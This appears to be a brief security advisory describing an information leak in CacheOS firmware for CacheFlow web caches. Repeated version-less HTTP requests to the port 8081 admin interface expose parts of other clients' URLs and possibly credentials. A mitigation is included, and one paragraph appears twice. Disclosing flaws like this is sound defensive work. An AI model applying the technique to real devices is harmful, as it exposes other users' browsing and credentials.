CacheOS Firmware Vulnerability

When a user connects to the system via the web administration interface on port 8081, and issues an HTTP standard-compliant request to the system, the system will prevent the user from accessing any information managed by the cache server. However, a user connecting to the system and issuing a request without the HTTP version request type (i.e. HTTP/1.0 or HTTP/1.1) multiple times may gain access to sensitive information. The cache server will leak information such as parts of URLs being accessed by a client currently connected to the cache server.

Mitigation:

Ensure that the web administration interface is not accessible from the public internet, and that access is restricted to trusted users.

CacheOS is the firmware designed and distributed with CacheFlow web cache systems. It is maintained and distributed by CacheFlow.

When a user connects to the system via the web administration interface on port 8081, and issues an HTTP standard-compliant request to the system, the system will prevent the user from accessing any information managed by the cache server. However, a user connecting to the system and issuing a request without the HTTP version request type (i.e. HTTP/1.0 or HTTP/1.1) multiple times may gain access to sensitive information. The cache server will leak information such as parts of URLs being accessed by a client currently connected to the cache server.

This problem makes it possible for a user to gather information, and potentially gain access to passwords, userids, or other potentially sensitive information.
